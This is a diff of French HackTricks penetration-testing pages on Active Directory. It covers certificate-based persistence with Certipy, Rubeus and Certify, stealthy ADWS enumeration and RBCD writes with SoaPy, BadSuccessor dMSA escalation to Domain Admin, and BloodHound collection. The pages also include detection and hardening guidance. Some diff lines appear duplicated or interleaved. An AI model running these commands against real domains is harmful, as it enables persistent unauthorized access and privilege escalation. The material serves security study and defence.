# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
```
Après une demande réussie, un certificat accompagné de sa clé privée est généré au format `.pem`. Pour le convertir en un fichier `.pfx`, qui est utilisable sur les systèmes Windows, la commande suivante est utilisée :
Le pouvoir d'un certificat réside dans sa capacité à s'authentifier en tant qu'utilisateur auquel il appartient, indépendamment des changements de mot de passe, tant que le certificat reste valide.
Vous pouvez convertir PEM en PFX et l'utiliser pour obtenir un TGT :
```bash
# Convert PEM returned by Certify to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
Le fichier `.pfx` peut ensuite être téléchargé sur un système cible et utilisé avec un outil appelé [**Rubeus**](https://github.com/GhostPack/Rubeus) pour demander un Ticket Granting Ticket (TGT) pour l'utilisateur, prolongeant l'accès de l'attaquant tant que le certificat est **valide** (généralement un an) :
```bash
Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
```
Un avertissement important est partagé sur la façon dont cette technique, combinée avec une autre méthode décrite dans la section **THEFT5**, permet à un attaquant d'obtenir de manière persistante le **hash NTLM** d'un compte sans interagir avec le Local Security Authority Subsystem Service (LSASS), et depuis un contexte non élevé, offrant une méthode plus discrète pour le vol de crédentiels à long terme.
## **Gagner une persistance machine avec des certificats - PERSIST2**
# Use certificate for PKINIT and inject the TGT
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
Une autre méthode consiste à inscrire le compte machine d'un système compromis pour un certificat, en utilisant le modèle par défaut `Machine` qui permet de telles actions. Si un attaquant obtient des privilèges élevés sur un système, il peut utiliser le compte **SYSTEM** pour demander des certificats, fournissant une forme de **persistence** :
# Or with Certipy
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
```
> Remarque : Combinée avec d'autres techniques (voir les sections THEFT), l'authentification basée sur des certificats permet un accès persistant sans toucher à LSASS et même depuis des contextes non élevés.
## Obtenir une persistance machine avec des certificats - PERSIST2
Si un attaquant a des privilèges élevés sur un hôte, il peut inscrire le compte machine du système compromis pour un certificat en utilisant le modèle par défaut `Machine`. S'authentifier en tant que machine permet S4U2Self pour les services locaux et peut fournir une persistance durable de l'hôte :
```bash
# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
# Authenticate as the machine using the issued PFX
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
```
Cet accès permet à l'attaquant de s'authentifier à **Kerberos** en tant que compte machine et d'utiliser **S4U2Self** pour obtenir des tickets de service Kerberos pour tout service sur l'hôte, accordant ainsi à l'attaquant un accès persistant à la machine.
## Étendre la persistance par le renouvellement de certificat - PERSIST3
## **Étendre la persistance par le renouvellement de certificat - PERSIST3**
Abuser des périodes de validité et de renouvellement des modèles de certificat permet à un attaquant de maintenir un accès à long terme. Si vous possédez un certificat précédemment émis et sa clé privée, vous pouvez le renouveler avant son expiration pour obtenir un nouveau credential à long terme sans laisser d'artefacts de demande supplémentaires liés au principal d'origine.
```bash
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
# Provide the existing PFX and target the same CA/template when possible
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
La dernière méthode discutée implique de tirer parti de la **validité** et des **périodes de renouvellement** des modèles de certificat. En **renouvelant** un certificat avant son expiration, un attaquant peut maintenir l'authentification à Active Directory sans avoir besoin d'enrôlements de tickets supplémentaires, ce qui pourrait laisser des traces sur le serveur de l'Autorité de Certification (CA).
# Native Windows renewal with certreq
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
```
> Conseil opérationnel : Suivez les durées de vie des fichiers PFX détenus par l'attaquant et renouvelez-les tôt. Le renouvellement peut également entraîner l'inclusion de l'extension de mappage SID moderne dans les certificats mis à jour, les rendant utilisables sous des règles de mappage DC plus strictes (voir la section suivante).
Cette approche permet une méthode de **persistance étendue**, minimisant le risque de détection grâce à moins d'interactions avec le serveur CA et évitant la génération d'artefacts qui pourraient alerter les administrateurs de l'intrusion.
## Plantage de Mappages de Certificats Explicites (altSecurityIdentities) – PERSIST4
Si vous pouvez écrire dans l'attribut `altSecurityIdentities` d'un compte cible, vous pouvez mapper explicitement un certificat contrôlé par l'attaquant à ce compte. Cela persiste à travers les changements de mot de passe et, lorsqu'on utilise des formats de mappage forts, reste fonctionnel sous l'application moderne du DC.
Flux de haut niveau :
1. Obtenez ou émettez un certificat d'authentification client que vous contrôlez (par exemple, inscrivez le modèle `User` en tant que vous-même).
2. Extrayez un identifiant fort du certificat (Émetteur+Numéro de série, SKI ou SHA1-Clé publique).
3. Ajoutez un mappage explicite sur `altSecurityIdentities` du principal victime en utilisant cet identifiant.
4. Authentifiez-vous avec votre certificat ; le DC le mappe à la victime via le mappage explicite.
Exemple (PowerShell) utilisant un mappage fort Émetteur+Numéro de série :
```powershell
# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
$Map = "X509:<I>$Issuer<SR>$SerialR"
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
```
Ensuite, authentifiez-vous avec votre PFX. Certipy obtiendra un TGT directement :
```bash
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
```
Notes
- Utilisez uniquement des types de mappage forts : X509IssuerSerialNumber, X509SKI ou X509SHA1PublicKey. Les formats faibles (Subject/Issuer, Subject-only, RFC822 email) sont obsolètes et peuvent être bloqués par la politique du DC.
- La chaîne de certificats doit aboutir à une racine de confiance pour le DC. Les CAs d'entreprise dans NTAuth sont généralement de confiance ; certains environnements font également confiance aux CAs publics.
Pour plus d'informations sur les mappages explicites faibles et les chemins d'attaque, voir :
{{#ref}}
domain-escalation.md
{{#endref}}
## Agent d'inscription comme persistance – PERSIST5
Si vous obtenez un certificat valide d'Agent de Demande de Certificat/Agent d'Inscription, vous pouvez créer de nouveaux certificats capables de se connecter au nom des utilisateurs à volonté et garder le PFX de l'agent hors ligne comme un jeton de persistance. Workflow d'abus :
```bash
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
# Mint a user cert on behalf of another principal using the agent PFX
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
# Or with Certipy
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
```
La révocation du certificat d'agent ou des autorisations de modèle est nécessaire pour évincer cette persistance.
## 2025 Application stricte du mappage de certificats : Impact sur la persistance
Microsoft KB5014754 a introduit l'application stricte du mappage de certificats sur les contrôleurs de domaine. Depuis le 11 février 2025, les DC par défaut appliquent une application complète, rejetant les mappages faibles/ambiguës. Implications pratiques :
- Les certificats d'avant 2022 qui manquent de l'extension de mappage SID peuvent échouer au mappage implicite lorsque les DC sont en application complète. Les attaquants peuvent maintenir l'accès en renouvelant les certificats via AD CS (pour obtenir l'extension SID) ou en plantant un mappage explicite fort dans `altSecurityIdentities` (PERSIST4).
- Les mappages explicites utilisant des formats forts (Émetteur+Numéro de série, SKI, SHA1-Clé publique) continuent de fonctionner. Les formats faibles (Émetteur/Sujet, Sujet uniquement, RFC822) peuvent être bloqués et doivent être évités pour la persistance.
Les administrateurs doivent surveiller et alerter sur :
- Les changements dans `altSecurityIdentities` et l'émission/renouvellements des certificats d'agent d'inscription et d'utilisateur.
- Les journaux d'émission de CA pour les demandes au nom de et les modèles de renouvellement inhabituels.
## Références
- Microsoft. KB5014754 : Changements d'authentification basée sur les certificats sur les contrôleurs de domaine Windows (chronologie de l'application et mappages forts).
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Wiki – Référence de commande (`req -renew`, `auth`, `shadow`).
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}}

106
src/windows-hardening/active-directory-methodology/adws-enumeration.md Normal file
View File

@ -0,0 +1,106 @@
# Enumeration et collecte discrète des services Web Active Directory (ADWS)
{{#include ../../banners/hacktricks-training.md}}
## Qu'est-ce qu'ADWS ?
Les services Web Active Directory (ADWS) sont **activés par défaut sur chaque contrôleur de domaine depuis Windows Server 2008 R2** et écoutent sur TCP **9389**. Malgré le nom, **aucun HTTP n'est impliqué**. Au lieu de cela, le service expose des données de style LDAP à travers une pile de protocoles de mise en forme .NET propriétaires :
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Parce que le trafic est encapsulé à l'intérieur de ces trames SOAP binaires et circule sur un port peu commun, **l'énumération via ADWS est beaucoup moins susceptible d'être inspectée, filtrée ou signée que le trafic classique LDAP/389 & 636**. Pour les opérateurs, cela signifie :
* Reconnaissance plus discrète – Les équipes bleues se concentrent souvent sur les requêtes LDAP.
* Liberté de collecter à partir de **hôtes non-Windows (Linux, macOS)** en tunnelant 9389/TCP à travers un proxy SOCKS.
* Les mêmes données que vous obtiendriez via LDAP (utilisateurs, groupes, ACL, schéma, etc.) et la capacité d'effectuer des **écritures** (par exemple, `msDs-AllowedToActOnBehalfOfOtherIdentity` pour **RBCD**).
> REMARQUE : ADWS est également utilisé par de nombreux outils RSAT GUI/PowerShell, donc le trafic peut se mélanger avec l'activité administrative légitime.
## SoaPy – Client Python natif
[SoaPy](https://github.com/logangoins/soapy) est une **réimplémentation complète de la pile de protocoles ADWS en pur Python**. Il crée les trames NBFX/NBFSE/NNS/NMF octet par octet, permettant la collecte à partir de systèmes de type Unix sans toucher à l'exécution .NET.
### Caractéristiques clés
* Prend en charge **le proxy via SOCKS** (utile depuis des implants C2).
* Filtres de recherche granulaires identiques à LDAP `-q '(objectClass=user)'`.
* Opérations d'**écriture** optionnelles ( `--set` / `--delete` ).
* Mode de sortie **BOFHound** pour ingestion directe dans BloodHound.
* Drapeau `--parse` pour embellir les horodatages / `userAccountControl` lorsque la lisibilité humaine est requise.
### Installation (hôte opérateur)
```bash
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
```
## Stealth AD Collection Workflow
Le flux de travail suivant montre comment énumérer **les objets de domaine et ADCS** via ADWS, les convertir en JSON BloodHound et rechercher des chemins d'attaque basés sur des certificats – le tout depuis Linux :
1. **Tunnel 9389/TCP** depuis le réseau cible vers votre machine (par exemple via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Exportez `export HTTPS_PROXY=socks5://127.0.0.1:1080` ou utilisez `--proxyHost/--proxyPort` de SoaPy.
2. **Collecter l'objet de domaine racine :**
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
```
3. **Collecter les objets liés à ADCS à partir de la Configuration NC :**
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
```
4. **Convertir en BloodHound :**
```bash
bofhound -i data --zip # produces BloodHound.zip
```
5. **Téléchargez le ZIP** dans l'interface BloodHound et exécutez des requêtes cypher telles que `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` pour révéler les chemins d'escalade de certificats (ESC1, ESC8, etc.).
### Écriture de `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
```
Combinez cela avec `s4u2proxy`/`Rubeus /getticket` pour une chaîne complète de **Resource-Based Constrained Delegation**.
## Détection & Renforcement
### Journalisation ADDS Verbose
Activez les clés de registre suivantes sur les contrôleurs de domaine pour faire ressortir les recherches coûteuses / inefficaces provenant d'ADWS (et LDAP) :
```powershell
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
```
Les événements apparaîtront sous **Directory-Service** avec le filtre LDAP complet, même lorsque la requête est arrivée via ADWS.
### Objets SACL Canary
1. Créez un objet fictif (par exemple, un utilisateur désactivé `CanaryUser`).
2. Ajoutez un ACE **Audit** pour le principal _Everyone_, audité sur **ReadProperty**.
3. Chaque fois qu'un attaquant effectue `(servicePrincipalName=*)`, `(objectClass=user)`, etc., le DC émet **Event 4662** qui contient le SID réel de l'utilisateur – même lorsque la demande est proxy ou provient d'ADWS.
Exemple de règle pré-construite Elastic :
```kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
```
## Résumé des outils
| Objectif | Outil | Remarques |
|----------|-------|-----------|
| Énumération ADWS | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, lecture/écriture |
| Ingestion BloodHound | [BOFHound](https://github.com/bohops/BOFHound) | Convertit les journaux SoaPy/ldapsearch |
| Compromission de certificat | [Certipy](https://github.com/ly4k/Certipy) | Peut être proxifié via le même SOCKS |
## Références
* [SpecterOps – Assurez-vous d'utiliser SOAP(y) – Un guide pour les opérateurs sur la collecte discrète d'AD en utilisant ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
* [SoaPy GitHub](https://github.com/logangoins/soapy)
* [BOFHound GitHub](https://github.com/bohops/BOFHound)
* [Microsoft – Spécifications MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
{{#include ../../banners/hacktricks-training.md}}

101
src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md Normal file
View File

@ -0,0 +1,101 @@
# BadSuccessor : Escalade de privilèges via l'abus de migration de dMSA délégué
{{#include ../../banners/hacktricks-training.md}}
## Aperçu
Les Comptes de Service Gérés Délégués (**dMSA**) sont le successeur de nouvelle génération des **gMSA** qui seront inclus dans Windows Server 2025. Un flux de migration légitime permet aux administrateurs de remplacer un compte *ancien* (utilisateur, ordinateur ou compte de service) par un dMSA tout en préservant de manière transparente les autorisations. Le flux de travail est exposé via des cmdlets PowerShell telles que `Start-ADServiceAccountMigration` et `Complete-ADServiceAccountMigration` et repose sur deux attributs LDAP de l'**objet dMSA** :
* **`msDS-ManagedAccountPrecededByLink`** – *lien DN* vers le compte remplacé (ancien).
* **`msDS-DelegatedMSAState`** – état de migration (`0` = aucun, `1` = en cours, `2` = *terminé*).
Si un attaquant peut créer **n'importe quel** dMSA à l'intérieur d'une OU et manipuler directement ces 2 attributs, LSASS et le KDC traiteront le dMSA comme un *successeur* du compte lié. Lorsque l'attaquant s'authentifie ensuite en tant que dMSA, **il hérite de tous les privilèges du compte lié** – jusqu'à **Administrateur de Domaine** si le compte Administrateur est lié.
Cette technique a été nommée **BadSuccessor** par l'Unité 42 en 2025. Au moment de la rédaction, **aucun correctif de sécurité** n'est disponible ; seule le renforcement des autorisations d'OU atténue le problème.
### Prérequis d'attaque
1. Un compte qui est *autorisé* à créer des objets à l'intérieur **d'une Unité Organisationnelle (OU)** *et* a au moins l'un des éléments suivants :
* `Create Child` → **`msDS-DelegatedManagedServiceAccount`** classe d'objet
* `Create Child` → **`All Objects`** (création générique)
2. Connectivité réseau à LDAP & Kerberos (scénario standard de domaine joint / attaque à distance).
## Énumération des OUs vulnérables
L'Unité 42 a publié un script d'assistance PowerShell qui analyse les descripteurs de sécurité de chaque OU et met en évidence les ACEs requis :
```powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
```
Sous le capot, le script exécute une recherche LDAP paginée pour `(objectClass=organizationalUnit)` et vérifie chaque `nTSecurityDescriptor` pour
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
* `ID de schéma Active Directory : 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (classe d'objet *msDS-DelegatedManagedServiceAccount*)
## Étapes d'exploitation
Une fois qu'une OU écrivable est identifiée, l'attaque n'est qu'à 3 écritures LDAP :
```powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
```
Après la réplication, l'attaquant peut simplement **se connecter** en tant que `attacker_dMSA$` ou demander un TGT Kerberos – Windows construira le jeton du compte *supprimé*.
### Automatisation
Plusieurs PoCs publics englobent l'ensemble du flux de travail, y compris la récupération de mot de passe et la gestion des tickets :
* SharpSuccessor (C#) – [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
* BadSuccessor.ps1 (PowerShell) – [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
* Module NetExec – `badsuccessor` (Python) – [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
### Post-Exploitation
```powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
```
## Détection & Chasse
Activez **l'audit des objets** sur les UOs et surveillez les événements de sécurité Windows suivants :
* **5137** – Création de l'objet **dMSA**
* **5136** – Modification de **`msDS-ManagedAccountPrecededByLink`**
* **4662** – Changements d'attribut spécifiques
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919` → `msDS-DelegatedMSAState`
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1` → `msDS-ManagedAccountPrecededByLink`
* **2946** – Délivrance de TGT pour le dMSA
La corrélation de `4662` (modification d'attribut), `4741` (création d'un compte ordinateur/service) et `4624` (connexion subséquente) met rapidement en évidence l'activité BadSuccessor. Les solutions XDR telles que **XSIAM** sont livrées avec des requêtes prêtes à l'emploi (voir les références).
## Atténuation
* Appliquez le principe du **moindre privilège** – déléguez uniquement la gestion des *comptes de service* à des rôles de confiance.
* Supprimez `Create Child` / `msDS-DelegatedManagedServiceAccount` des UOs qui ne l'exigent pas explicitement.
* Surveillez les ID d'événements listés ci-dessus et alertez sur les identités *non-Tier-0* créant ou modifiant des dMSA.
## Voir aussi
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
## Références
- [Unit42 – Quand de bons comptes deviennent mauvais : Exploitation des comptes de service gérés délégués](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
- [BadSuccessor.ps1 – Collection d'outils de pentesting](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
- [Module BadSuccessor de NetExec](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
{{#include ../../banners/hacktricks-training.md}}

105
src/windows-hardening/active-directory-methodology/bloodhound.md
View File

@ -1,87 +1,78 @@
# BloodHound & Autres Outils d'Enumération AD
# BloodHound & Autres Outils d'Énumération Active Directory
{{#include ../../banners/hacktricks-training.md}}
{{#ref}}
adws-enumeration.md
{{#endref}}
> REMARQUE : Cette page regroupe certaines des utilitaires les plus utiles pour **énumérer** et **visualiser** les relations Active Directory. Pour la collecte via le canal discret **Active Directory Web Services (ADWS)**, consultez la référence ci-dessus.
---
## AD Explorer
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) est issu de la Sysinternal Suite :
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) (Sysinternals) est un **visualiseur et éditeur AD** avancé qui permet :
> Un visualiseur et éditeur avancé d'Active Directory (AD). Vous pouvez utiliser AD Explorer pour naviguer facilement dans une base de données AD, définir des emplacements favoris, afficher les propriétés des objets et les attributs sans ouvrir de boîtes de dialogue, modifier les autorisations, afficher le schéma d'un objet et exécuter des recherches sophistiquées que vous pouvez enregistrer et réexécuter.
* Navigation GUI dans l'arborescence du répertoire
* Édition des attributs d'objet et des descripteurs de sécurité
* Création / comparaison de snapshots pour une analyse hors ligne
### Instantanés
### Utilisation rapide
AD Explorer peut créer des instantanés d'un AD afin que vous puissiez le vérifier hors ligne.\
Il peut être utilisé pour découvrir des vulnérabilités hors ligne, ou pour comparer différents états de la base de données AD au fil du temps.
1. Démarrez l'outil et connectez-vous à `dc01.corp.local` avec des identifiants de domaine.
2. Créez un snapshot hors ligne via `Fichier ➜ Créer un snapshot`.
3. Comparez deux snapshots avec `Fichier ➜ Comparer` pour repérer les dérives de permissions.
Vous aurez besoin du nom d'utilisateur, du mot de passe et de la direction pour vous connecter (tout utilisateur AD est requis).
Pour prendre un instantané de l'AD, allez dans `File` --> `Create Snapshot` et entrez un nom pour l'instantané.
---
## ADRecon
[**ADRecon**](https://github.com/adrecon/ADRecon) est un outil qui extrait et combine divers artefacts d'un environnement AD. Les informations peuvent être présentées dans un **rapport** Microsoft Excel **spécialement formaté** qui inclut des vues résumées avec des métriques pour faciliter l'analyse et fournir une image holistique de l'état actuel de l'environnement AD cible.
```bash
# Run it
.\ADRecon.ps1
[ADRecon](https://github.com/adrecon/ADRecon) extrait un large ensemble d'artefacts d'un domaine (ACL, GPO, relations de confiance, modèles CA…) et produit un **rapport Excel**.
```powershell
# On a Windows host in the domain
PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon
```
## BloodHound
---
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
## BloodHound (visualisation graphique)
> BloodHound est une application web Javascript à page unique, construite sur [Linkurious](http://linkurio.us/), compilée avec [Electron](http://electron.atom.io/), avec une base de données [Neo4j](https://neo4j.com/) alimentée par un collecteur de données C#.
[BloodHound](https://github.com/BloodHoundAD/BloodHound) utilise la théorie des graphes + Neo4j pour révéler des relations de privilèges cachées dans AD sur site et Azure AD.
BloodHound utilise la théorie des graphes pour révéler les relations cachées et souvent non intentionnelles au sein d'un environnement Active Directory ou Azure. Les attaquants peuvent utiliser BloodHound pour identifier facilement des chemins d'attaque très complexes qui seraient autrement impossibles à identifier rapidement. Les défenseurs peuvent utiliser BloodHound pour identifier et éliminer ces mêmes chemins d'attaque. Les équipes bleues et rouges peuvent utiliser BloodHound pour acquérir facilement une compréhension plus approfondie des relations de privilège dans un environnement Active Directory ou Azure.
Donc, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound) est un outil incroyable qui peut énumérer un domaine automatiquement, sauvegarder toutes les informations, trouver des chemins d'escalade de privilèges possibles et afficher toutes les informations à l'aide de graphes.
BloodHound est composé de 2 parties principales : **ingestors** et l'**application de visualisation**.
Les **ingestors** sont utilisés pour **énumérer le domaine et extraire toutes les informations** dans un format que l'application de visualisation comprendra.
L'**application de visualisation utilise neo4j** pour montrer comment toutes les informations sont liées et pour montrer différentes façons d'escalader les privilèges dans le domaine.
### Installation
Après la création de BloodHound CE, l'ensemble du projet a été mis à jour pour faciliter son utilisation avec Docker. La façon la plus simple de commencer est d'utiliser sa configuration Docker Compose préconfigurée.
1. Installez Docker Compose. Cela devrait être inclus avec l'installation de [Docker Desktop](https://www.docker.com/products/docker-desktop/).
2. Exécutez :
### Déploiement (Docker CE)
```bash
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Web UI ➜ http://localhost:8080 (user: admin / password from logs)
```
3. Localisez le mot de passe généré aléatoirement dans la sortie du terminal de Docker Compose.
4. Dans un navigateur, accédez à http://localhost:8080/ui/login. Connectez-vous avec le nom d'utilisateur **`admin`** et un **`mot de passe généré aléatoirement`** que vous pouvez trouver dans les journaux de docker compose.
### Collecteurs
Après cela, vous devrez changer le mot de passe généré aléatoirement et vous aurez la nouvelle interface prête, à partir de laquelle vous pouvez directement télécharger les ingestors.
* `SharpHound.exe` / `Invoke-BloodHound` – variante native ou PowerShell
* `AzureHound` – énumération Azure AD
* **SoaPy + BOFHound** – collecte ADWS (voir le lien en haut)
### SharpHound
#### Modes communs de SharpHound
```powershell
SharpHound.exe --CollectionMethods All # Full sweep (noisy)
SharpHound.exe --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL
SharpHound.exe --Stealth --LDAP # Low noise LDAP only
```
Les collecteurs génèrent du JSON qui est ingéré via l'interface BloodHound.
Ils ont plusieurs options, mais si vous souhaitez exécuter SharpHound depuis un PC joint au domaine, en utilisant votre utilisateur actuel et extraire toutes les informations, vous pouvez faire :
```
./SharpHound.exe --CollectionMethods All
Invoke-BloodHound -CollectionMethod All
```
> Vous pouvez en savoir plus sur **CollectionMethod** et la session de boucle [ici](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)
Si vous souhaitez exécuter SharpHound en utilisant des identifiants différents, vous pouvez créer une session CMD netonly et exécuter SharpHound à partir de là :
```
runas /netonly /user:domain\user "powershell.exe -exec bypass"
```
[**En savoir plus sur Bloodhound sur ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
---
## Group3r
[**Group3r**](https://github.com/Group3r/Group3r) est un outil pour trouver des **vulnérabilités** dans Active Directory associées à **Group Policy**. \
Vous devez **exécuter group3r** depuis un hôte à l'intérieur du domaine en utilisant **n'importe quel utilisateur du domaine**.
[Group3r](https://github.com/Group3r/Group3r) énumère les **objets de stratégie de groupe** et met en évidence les erreurs de configuration.
```bash
group3r.exe -f <filepath-name.log>
# -s sends results to stdin
# -f send results to file
# Execute inside the domain
Group3r.exe -f gpo.log # -s to stdout
```
---
## PingCastle
[**PingCastle**](https://www.pingcastle.com/documentation/) **évalue la posture de sécurité d'un environnement AD** et fournit un joli **rapport** avec des graphiques.
Pour l'exécuter, vous pouvez lancer le binaire `PingCastle.exe` et il démarrera une **session interactive** présentant un menu d'options. L'option par défaut à utiliser est **`healthcheck`** qui établira un **aperçu** de base du **domaine**, et trouvera des **mauvais configurations** et des **vulnérabilités**.
[PingCastle](https://www.pingcastle.com/documentation/) effectue un **contrôle de santé** d'Active Directory et génère un rapport HTML avec un score de risque.
```powershell
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
```
{{#include ../../banners/hacktricks-training.md}}

339
src/windows-hardening/active-directory-methodology/kerberoast.md
View File

@ -4,172 +4,215 @@
## Kerberoast
Kerberoasting se concentre sur l'acquisition de **TGS tickets**, spécifiquement ceux liés aux services fonctionnant sous des **comptes utilisateurs** dans **Active Directory (AD)**, excluant les **comptes d'ordinateur**. Le chiffrement de ces tickets utilise des clés provenant des **mots de passe utilisateurs**, permettant la possibilité de **cracking de credentials hors ligne**. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété **"ServicePrincipalName"** non vide.
Kerberoasting se concentre sur l'acquisition de tickets TGS, spécifiquement ceux liés aux services fonctionnant sous des comptes d'utilisateur dans Active Directory (AD), à l'exclusion des comptes d'ordinateur. Le chiffrement de ces tickets utilise des clés qui proviennent des mots de passe des utilisateurs, permettant ainsi le craquage des identifiants hors ligne. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété ServicePrincipalName (SPN) non vide.
Pour exécuter **Kerberoasting**, un compte de domaine capable de demander des **TGS tickets** est essentiel ; cependant, ce processus ne nécessite pas de **privilèges spéciaux**, le rendant accessible à quiconque ayant des **credentials de domaine valides**.
Tout utilisateur authentifié du domaine peut demander des tickets TGS, donc aucun privilège spécial n'est nécessaire.
### Points Clés :
### Points Clés
- **Kerberoasting** cible les **TGS tickets** pour les **services de comptes utilisateurs** au sein de **AD**.
- Les tickets chiffrés avec des clés provenant des **mots de passe utilisateurs** peuvent être **craqués hors ligne**.
- Un service est identifié par un **ServicePrincipalName** qui n'est pas nul.
- **Aucun privilège spécial** n'est nécessaire, juste des **credentials de domaine valides**.
### **Attaque**
- Cible les tickets TGS pour les services qui s'exécutent sous des comptes d'utilisateur (c'est-à-dire, des comptes avec SPN défini ; pas des comptes d'ordinateur).
- Les tickets sont chiffrés avec une clé dérivée du mot de passe du compte de service et peuvent être craqués hors ligne.
- Aucun privilège élevé requis ; tout compte authentifié peut demander des tickets TGS.
> [!WARNING]
